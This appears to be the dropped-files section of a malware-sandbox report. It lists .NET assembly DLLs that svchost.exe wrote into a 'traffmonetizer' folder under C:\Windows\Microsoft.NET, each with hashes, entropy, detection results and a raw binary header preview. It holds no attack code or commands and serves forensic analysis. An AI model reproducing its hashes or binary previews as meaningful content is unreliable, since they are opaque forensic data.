Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............6)... ...@....... ...............................U....@..................................(..O....@...................>...`.......'............................................... ............... ..H............text...<.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P ......................,'......................................BSJB............v4.0.30319......l.......#~..H...x...#Strings............#US.........#GUID...........#Blob......................3......................................................k.....?.....$.....S.................R...........!.....j...........<.....%...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.+...K.K...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Data.Common.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	154448
Entropy (8bit):	5.513799122521585
Encrypted:	false
SSDEEP:	3072:wdYO+3m9R6e1x03BZ6bDSzZ8B0uAP+Pch:i+2jv1x0ebezWiumh
MD5:	D712A5A82A446086443CE00B610D8A5D
SHA1:	7ADD96BAA123DB819F2F3D5AA62D6F872CE8FE14
SHA-256:	1C7BFF6F16BB618648E699B723AEAFE511515CD6AAD699C25FAAE2A507E22811
SHA-512:	225128E58E2F01B5CAADA6FE54B1D32FF6A700542CE22B425649AB22DA2944F796F04D1A2428C542BCAB5348A161CF73F5F9A1E7BBF1F6417C4D507217FE3FD0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............,... ...@....... ..............................DR....@..................................,..O....@..................P?...`.......+............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H........A...............?..h...t+......................................j~....%-.&(....s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r;..p.(....2ro..p.(....2r...p.(....2r...p.(....2r...p.(....2rK..p.(....2r...p.(....2r...p.(....2r...p.(....*2rM..

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Contracts.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21736
Entropy (8bit):	6.879068263314492
Encrypted:	false
SSDEEP:	384:8RtRWjYWYvT1Dm0GftpBjaGaQHRN77TlgaGn73:+i61DViUGLHG7
MD5:	99373AB10858746AAD424F28B48277F5
SHA1:	5042EE630A6C7C2986E8323A14D052C1D83B6F61
SHA-256:	9C4AE61E0E8365762EFE3D34C5595029F2C12E0079E6070720E2CEF0882C84E5
SHA-512:	E96F8FDD6FFB702D344746CE82DE576BBA8636EDE3E39A7DA18CCF8A0178B8346FD31140760B864F1487D7804D931FF1A18DE07A4CAFA0CF79BDB340421FC03F
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0................. ...@....... ..............................mG....@.................................x..O....@..@................>...`......@)............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.......................H.......P ..p....................(......................................BSJB............v4.0.30319......l...@...#~..........#Strings....H.......#US.L.......#GUID...\.......#Blob......................3..................................................-.....-.........M...........[.................'.....@.................[........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.9...K.Y...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Debug.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.940882019021464
Encrypted:	false
SSDEEP:	384:IeWnoWMC7Bm0GftpBjVwaaQHRN7g20lgaGn771Y:InTViMaLnYGtY
MD5:	8B8C402311D7AB87E588675E736414FD
SHA1:	EB8C010A35B461402C1C33133F1B61C78BE8425A
SHA-256:	55A30D92D163CF1807BEA6DC13B4C13E70AEBBB034DC77EAEF4F4394730DCD8E
SHA-512:	D03F450A3A19320DE71145E48CD7C088D9B50D0A683CC9A79D8967DCE085A6F63CBE537FCA1C6208865EB52EAFB10189613C7233047318CAEB2FB2C23C34A269
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ....................................@.................................X)..O....@..$................>...`...... (............................................... ............... ..H............text........ ...................... ..`.rsrc...$....@......................@..@.reloc.......`......................@..B.................)......H.......P ..P....................'......................................BSJB............v4.0.30319......l.......#~..X.......#Strings....,.......#US.0.......#GUID...@.......#Blob......................3......................................K.........]...........d.............o...".o...?.o.....o...}.o.....o.....o.....o.....h...-.o.................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.5...K.U...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.FileVersionInfo.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21728
Entropy (8bit):	6.856791185052111
Encrypted:	false
SSDEEP:	384:Gqk53/hW3fZ+zWQC7Bm0GftpBj6dlwaQHRN7q5blgaGn7i:Gqk53MpViywLGbGu
MD5:	D86B0ACA05321569D9383DC7C4E9E934
SHA1:	2EF7D0A222C3A3E564B3C72D5B71A5BE40A7ADEA
SHA-256:	28B165CDDB82A2507114394AE398995EF8A50C549214F8678AA66054F6927754
SHA-512:	5959E1129C983825233A07869DD1B2B1DB32830D2B5F6B7F8D869C39A76A241F88F76D37341FDFBF56F000FC6ACBA19AEB36A7EFB94721494B41B65BF4978651
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............*... ...@....... ..............................vC....@..................................)..O....@..0................>...`.......(............................................... ............... ..H............text...0.... ...................... ..`.rsrc...0....@......................@..@.reloc.......`......................@..B.......................H.......P ...................... (......................................BSJB............v4.0.30319......l...$...#~..........#Strings............#US.........#GUID...........#Blob......................3............................................................j.q.........~.................}.....3.....L.................g.....P...................k.....k.....k...).k...1.k...9.k...A.k...I.k...Q.k...Y.k...a.k...i.k...q.k.......................#.....+.....3.....;.....C.7...K.W...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.StackTrace.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	23936
Entropy (8bit):	6.756576538241564
Encrypted:	false
SSDEEP:	384:TFCc4Y4OJWfOWqWWOWYDzDm0GftpBjnZaQHRN7IlDggA:RCcyCSVifLeLA
MD5:	FA98A0F020248C2BE1DD40C07092F22A
SHA1:	EF6B3CCFF90BEDDAB5CE6F60B4CC23F75EDFD009
SHA-256:	CAE99F910874288AFBF810968D13B79D755CD4B2006609EC036EA4934181CBA5
SHA-512:	554A25C761102DC41A9E421621E329868D1162AB29F47E59754C8FCFAE0C12BBE8200E1B5975ABF926F1DE0977A5407C43202AC8A2801C69A7F01D95B6A1E959
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............N.... ...@....... ....................................@..................................-..O....@...................?...`......L-............................................... ............... ..H............text...T.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................0.......H........ ..4....................,......................................F.(....~....(....6.o.....(....6.o..........*.o........~.....~.....BSJB............v4.0.30319......l.......#~..<.......#Strings.... .......#US.(.......#GUID...8.......#Blob...........GU.........3..................................................8.........*.h...m.h.....Z.....$...........Z...+.\|.....Z...1.Z.....$.....$.......3.D.......\|...F.\|...c.\|.....\|.....\|.....\|.....\|.....\|.....Z...I.\|...}.Z.....Z.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TextWriterTraceListener.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21280
Entropy (8bit):	6.9260824081196715
Encrypted:	false
SSDEEP:	384:EAWxMW3QvT1Dm0GftpBj1ROaQHRN7gIlBLY6fc8:Evxs1DVidOLgEYA
MD5:	A964808487E671BB369DBC0E4DC5A947
SHA1:	C3848473E42E2F9B4D0A00180EA9ADE654432587
SHA-256:	63EAB38EE9F4DCD686C8E6A4F01E1E2A9BB91E52B20AB4DDE0C28061E9261860
SHA-512:	7352368B68835ECC9C5943AE2F2BD5CAB775A7FBB018AF7683E74FAD1731A9738AE14EBE0BCCD854A223AB762FCA7EC11411FDAE865C5C6DDD034900FA55CFD0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...............................G....@..................................(..O....@.................. ?...`......L'............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................(......H.......P ..\|....................&......................................BSJB............v4.0.30319......l.......#~......P...#Strings....D.......#US.H.......#GUID...X...$...#Blob......................3......................................z...........!...\.!...0.....A.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.,...C.G...K.g...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tools.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.915565842835677
Encrypted:	false
SSDEEP:	384:UUAlcWHaWlvT1Dm0GftpBjXGIRaQHRN7/lBLY6fIi:29N1DVihGIRL/Yni
MD5:	27C7D752C11C3F43F28EB31968E73E2B
SHA1:	51E466218025126C5E524AFD2086F4AB0BF3660A
SHA-256:	260C6250EF9B57DCA99B4CECC533F9A34857B5A32B5351202F776163841200AA
SHA-512:	393D1747911A7F91F4C4F4F363A3782F24E00431478088DA454823A223A4E75E51D9B010FC5D9746E2BF0185BE90071B6CB70C777337D718B39151EEF6B486AA
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...............................C....@..................................(..O....@.. ................>...`......d'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......\|...#Strings....p.......#US.t.......#GUID...........#Blob......................3............................................................`.....1.....t.................s.....).....B.................].........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.5...K.U...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.TraceSource.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21744
Entropy (8bit):	6.857834679374035
Encrypted:	false
SSDEEP:	384:K8IZnWlNWM+109m0GftpBjBPaQHRN7401lTZVkAa:xUynViXPLrbZVs
MD5:	37BE4CCE0ED037F8D9A7A3940BD2A2E1
SHA1:	96314EC1A59E4BB53C5B609BF79AD4C998A7A988
SHA-256:	C81A57D0634C462A6CF49844059E9B170F650CCDF0789519FFD4AE7D28E2718D
SHA-512:	CEDAC24F414CCE5053FDF10779DBD153FCEBAD69B3960F75A5AB1110DA18799C79DC01B30269641022FCD874A331BC2DC7CE1A7D1A60DC90E109DD55B58665DB
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............2... ...@....... ....................................@..................................)..O....@..P................>...`.......(............................................... ............... ..H............text...8.... ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.......................H.......P ......................((......................................BSJB............v4.0.30319......l...\...#~..........#Strings............#US.........#GUID...........#Blob......................3............................................................t...................................=.....V.................q.....Z...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Diagnostics.Tracing.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	31608
Entropy (8bit):	6.6075135088084505
Encrypted:	false
SSDEEP:	384:GlQnCMi33333333kj8xe+5PTYM3zUy+CezHjzgKj0uRWOdWmWJdWo3szm0GftpBp:8Qq33333333kX+TBi8P8zViDdsLHH0D
MD5:	60F59659DB517C2F4DD4C5C583D43097
SHA1:	87ED79D195D8D93AE1155AF08857F751A7ECA245
SHA-256:	B84B93BE455CC7D14EC0C88CE08DAFAC7B6AAC2E549C969E7126EB48C31F8B1C
SHA-512:	90BCEA3BAA04146F08013A832633957C6D511D5EB52270575EF9A571153384B5A02C5026361B70940775907B5BC710B2C91627EEACE432744F3B9E5E1ED509D6
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0.............RM... ...`....... ....................................@..................................L..O....`..x............<..x?..........PL............................................... ............... ..H............text...X-... ...................... ..`.rsrc...x....`.......0..............@..@.reloc...............:..............@..B................3M......H.......8...!...................K.......................................0..H........(.....-.r...ps....z.-.r...ps....z.(......}......(#...}.....{.....o...."..(........0..Z.............%.r#..p.%..{.....%.rA..p.%..{..........%.rS..p.%..{....l.{....l[...ra..p(.....(....&...{.....0..4.................}......+....{.....".......X.....{.....i2..0..k..........{........{..........."....(.......X....{.....i.0%.(..........(.....(.......,..(........"....3.....}....*.......=..M......

C:\Windows\Microsoft.NET\traffmonetizer\System.Drawing.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21208
Entropy (8bit):	6.910934602645047
Encrypted:	false
SSDEEP:	384:R28YFlXulWY/W1+109m0GftpBjIaQHRN7T/8ldBoQAYBS:R0qMViaLTwoJYBS
MD5:	29B0A1554E54611EBBA7911049F26FD3
SHA1:	D707745E72D2F39374F2D28AF52AAAB7888B93AB
SHA-256:	2805A18724A24034AD6ACB315DAC516E479CECC5F3753204052657E560932D5D
SHA-512:	17558306A611BFAC6982D5650335B05EA407191290B653C028896142EBEE2ABCEB22F7D71926FBBCC3FAB8227C61A5FDA0E770ABFCA021AC7F891C9C7EE42E81
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...............................n....@..................................(..O....@.. ................>...`......t'............................................... ............... ..H............text........ ...................... ..`.rsrc... ....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~..,...P...#Strings....\|.......#US.........#GUID...........#Blob......................3......................................................~.....R..... .....f.................e...........4.....}...........O.....8...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.....C.6...K.V...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Dynamic.Runtime.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	22224
Entropy (8bit):	6.827241992748525
Encrypted:	false
SSDEEP:	384:puMLcdQ5MW9MWf+109m0GftpBjMR5aQHRN7Ljl78oSwDnuB3:AOcSpxVi2Lhawi
MD5:	C5CADB1409F25B6A1C7A6DD4C2DF236B
SHA1:	A994C87352486D433A06943C01329DD721AB343F
SHA-256:	F600ACC811720183C639CEBE5618BAF9C8135B85B9CBDC0758BC9B2DCC6DD7A9
SHA-512:	6BD6E482533B9FF8FFF8823F84CDE7191A0FD5575F76891A95E99CD1F5C1122EF92B436745EC9583089445FD5EAC795181759080B1D83CCFA1EED31D9CCE3AF0
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............,... ...@....... ..............................`.....@..................................+..O....@...................>...`...................................................... ............... ..H............text...$.... ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................,......H.......P .............................................................BSJB............v4.0.30319......l.......#~..p...0...#Strings............#US.........#GUID...........#Blob......................3................................................;.........................$.....$.....$.....$...[.$...t.$.....$.....$.........g.$.....#...........e.....e.....e...).e...1.e...9.e...A.e...I.e...Q.e...Y.e...a.e...i.e...q.e.......................#.....+.....3.....;.....C.3...K.S...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Calendars.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21744
Entropy (8bit):	6.8850738754620915
Encrypted:	false
SSDEEP:	384:3Z7RqXWDRqlRqj0RqFWX5Twm0GftpBjGRqazmHaQHRN76RqIil3uVogC:J9qKqjqjuq0wViGqRLoqItV7C
MD5:	AC2F4B435DDF0600D7A866F42F3B40D9
SHA1:	0564FF7F7E6084BD6D02D8E6A4127D1C878B3FA6
SHA-256:	B56FFB65B842DAAE13F3020B0B04646DB92F89801D2A2F89087D145A996D43F7
SHA-512:	DC3E9C3B4D732801DCF43CFD6CDD2672F01E03CB99D804A3F4803FDDB9CA9817BCFD2F96FD94B7B33DB0994F5478CE200C048DB5DBB78D3B24E950262EBF4D28
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0................. ...@....... ....................................@.................................X..O....@..P................>...`...... )............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................*......H.......P ..P....................(......................................BSJB............v4.0.30319......l...L...#~......l...#Strings....$.......#US.(.......#GUID...8.......#Blob......................3......................................z...............\.....0.....%.....D.................C.................[.....x.....-.........................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.Extensions.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	25992
Entropy (8bit):	6.72175242984799
Encrypted:	false
SSDEEP:	384:MNBMbljRC+lgfS1RPWYR1Rw0R9WYRPWYRDRj0R9WQDzDm0GftpBjeXRsTUbaQHR/:MvMhF2SzNzwu/Nlju/ViCLLsBy
MD5:	C7C93DE0627833900B8379FD181B7351
SHA1:	2CB98F9622F57A0A9E037A378519AA6A271302F6
SHA-256:	C7E91BD148ED22EE1FF8EBD3E58B199A30AF90AA37499BCF8DA34409672F2ED9
SHA-512:	1067BACC4495EACBC27937B54780B97DA62FED1AF66158E2FA492FC82B068D49BB49BC20C3C82C22D8EDD300BD7B097E14AA1E317F1789744E188BCA15D22B4D
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..............6... ...@....... ...............................x....@.................................a6..O....@...............&...?...`.......5............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`.......$..............@..B.................6......H........"..H............4......(5........................................o...."..o......o...."..o....j~....%-.&(....s....%........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(..........(.......0..K........-.r1..ps....z. ...@3.(..... ....3.(....*. ...._,.(....rI..ps..

C:\Windows\Microsoft.NET\traffmonetizer\System.Globalization.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.947656997583423
Encrypted:	false
SSDEEP:	384:gZ4RLWdRfRJ0RZWw+109m0GftpBjPWR+HaQHRN71RNl78oSwDnud:gZK0pJujViFc6LzrawS
MD5:	AE023BB0BEEE5189A07C7FD4E0CF3FCA
SHA1:	846711D4161A3950FACDEF97037898A71F4EFDA1
SHA-256:	56BD0C02C734ABF4D7FD1EF2E8B6A9E4BF5E4BAB4E606CD1023D63B02852FA61
SHA-512:	62305027AE8BB5B830630FE54F2CF9E607F9B97FFE28912C2CB15D429252668F17EAF2D7CEECF5601C889D5EA52E0B9100F115173BB11B5D6208171792833C85
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ..............................PI....@..................................)..O....@...................>...`......h(............................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................)......H.......P .......................'......................................BSJB............v4.0.30319......l...0...#~..........#Strings....x.......#US.\|.......#GUID...........#Blob......................3......................................................m.....A.{.........U.................T...........#.....l...........>.....'...................u.....u.....u...).u...1.u...9.u...A.u...I.u...Q.u...Y.u...a.u...i.u...q.u.......................#.....+.....3.....;.....C.1...K.Q...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.ZipFile.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.866908604521752
Encrypted:	false
SSDEEP:	384:OYWsmWs+109m0GftpBjncaQHRN7QlgaGn7G7:O28ViGLMGG
MD5:	BB1A520F25BB93ACE4DD0A060FBA677D
SHA1:	92BF07CCF32EB9FDF06F446A256E0271C4028BF0
SHA-256:	7720EE13405EA8A3C204703A181E67DC6D66835E9DF263C09D04D8B48B41EB26
SHA-512:	9288148EC879EBEAFD53C225854EE3BD3768BA5C7B829D6AF1251D20AC301FC27A04BEBB603FE2CDE6949BC5968FDE717E8B747337C1AD872450D26F7C36F515
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0.............*(... ...@....... ..............................'.....@..................................'..O....@..@................>...`.......&............................................... ............... ..H............text...0.... ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................(......H.......P ...................... &......................................BSJB............v4.0.30319......l.......#~......D...#Strings....8.......#US.<.......#GUID...L.......#Blob......................3......................................................z.....N.....".....b.................a...........0.....y...........K.....4...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........:.....C.....b...#.k...+.k...3.k...;.....C.....K.....S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.Compression.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	110944
Entropy (8bit):	6.427912093819953
Encrypted:	false
SSDEEP:	1536:lvc/U5yNq2oS4Zd0LE3YigSFvhoZO2K3aAYH2TfXmNoJXrVDCa8:Jgk1tiLMYiDFvxqrWDWNoJXJ2p
MD5:	33B8972FA6B00B8922210CA95E5745D1
SHA1:	609F31B98831327677E89E08BFF7D7322BA0F4A4
SHA-256:	DA18D61BB6B7D35C56CB4F392FAE0844CCA73F72A043A08994BECCB531FF3B77
SHA-512:	F85F03E20C8CE40BCF28D883CCD80CED755BF75D515FA66986963F0F4F5AD00BB1823D8C100A75323147B28A4916DD6C598102B18999AEB7B358C196AF4206DA
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......Z.........." ..0..d...........W... ........... ...................................@.................................5W..O....................r..`?...........V............................................... ............... ..H............text....b... ...d.................. ..`.rsrc................f..............@..@.reloc...............p..............@..B................iW......H........................9.......V......................................j~....%-.&(I...s....%..........0..$.........(.....o.......&...,....o....,.....................,!(....,..r...p.(....(......(......(....,.r...p......%...%...(......(.....(....,.r...p......%...%...%...(.......(.....(....,!r...p......%...%...%...%...(........(....2r...p.(....2r7..p.(....2rs..p.(....2r...p.(....2r...p.(....2r...p.(....2r=..p.(....2r_..p.(....2r...p.(....2r...p.(....*2r...

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.DriveInfo.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.918416126337718
Encrypted:	false
SSDEEP:	384:uKcuz1W1cWW+109m0GftpBjFGAaQHRN7PlBLY6fJ:6u8AVi5LvYc
MD5:	2FCB2158FC41D97E2BB71953664B99B9
SHA1:	16EB49AFCA84C9E6160B4E5B36F1EC5C98470C86
SHA-256:	984575C44CAB17D46587AF6CC8C22C409B79BEC280FD771E6AF93A0A0C20E5B0
SHA-512:	1527A426F8EC9931573468929966E102012B630EC4AA370C196B2B87472BCEE696B00355ADAEB39B4151B986470F7DADA415E3F930D9678B68D3C531C8AC9B52
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ....................................@..................................(..O....@..P................>...`......H'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P ..x....................&......................................BSJB............v4.0.30319......l.......#~......H...#Strings....L.......#US.P.......#GUID...`.......#Blob......................3......................................................p.....D.....9.....X.................W...........&.....o...........A.....*...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;. ...C.;...K.[...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Primitives.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21232
Entropy (8bit):	6.918387036071988
Encrypted:	false
SSDEEP:	384:W+SWikWL+109m0GftpBjqaQHRN7Dh6l3uVogJ:W+e1ViILDHV7J
MD5:	51B07204081BDE29A1F84A3B48554186
SHA1:	FCA2F72C039937357099CA6E167330E540F8335D
SHA-256:	5C84DD40D67C0E59906511D2B09DA8E28C454B5979EB5FDE74213F9D4BDBC564
SHA-512:	099EC1B84FCF6BF07142AD8CD34307C80F19A64C754ADE505AB55707075A764FBE7BFA4CE2FBAEAA09B3E61EBDB6E3D116608DF0CF77BC076C7B3119DB37A324
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............(... ...@....... ...................................@..................................(..O....@..P................>...`......d'............................................... ............... ..H............text........ ...................... ..`.rsrc...P....@......................@..@.reloc.......`......................@..B.................(......H.......P .......................&......................................BSJB............v4.0.30319......l.......#~......X...#Strings....h.......#US.l.......#GUID...\|.......#Blob......................3......................................................y.....M...........a.................`.........../.....x...........J.....3...................................).....1.....9.....A.....I.....Q.....Y.....a.....i.....q.........................#.....+.....3.....;.!...C.<...K.\...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.Watcher.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21224
Entropy (8bit):	6.9502839815242545
Encrypted:	false
SSDEEP:	384:fAWzgWw+109m0GftpBjeQKaQHRN7Z0lO62gHcXC:ftCVisdLzg8S
MD5:	3772A3A7E55178EC90ECB607ABA28511
SHA1:	68C240D1A43DE1678EF13107B9300C544E9D5E4E
SHA-256:	C9E2562F1A1B86ACDB6957CF916ACED9C4F8B71EBB16DFA0050252146205AD37
SHA-512:	245F12B4926114EBDB39A54628A1DF2501C4A27ABD531172CC63BC96298EE0F4BE5658AE95FE730C063EADFB1B664C7D201C69C2246CFBA23ED5A4FE7EF3D14E
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...@..Y.........." ..0..............)... ...@....... ....................................@.................................p)..O....@..@................>...`......8(............................................... ............... ..H............text........ ...................... ..`.rsrc...@....@......................@..@.reloc.......`......................@..B.................)......H.......P ..h....................'......................................BSJB............v4.0.30319......l.......#~..d.......#Strings....@.......#US.D.......#GUID...T.......#Blob......................3..................................................C...f.C...:.0...c.....N.................M.................e...........7..... ................................)....1....9....A....I....Q....Y....a....i....q.*.......................#.....+.....3.....;.....C.9...K.Y...S.

C:\Windows\Microsoft.NET\traffmonetizer\System.IO.FileSystem.dll

Download File

Process:	C:\Windows\SysWOW64\svchost.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	21192
Entropy (8bit):	6.922388458113732
Encrypted:	false
SSDEEP:	384:9BLRWbYW+f+109m0GftpBjPIuaQHRN7RlgaGn7c:9B20zViFIuLxGQ
MD5:	BFCEB4FACA75681137455CD70F8038B6
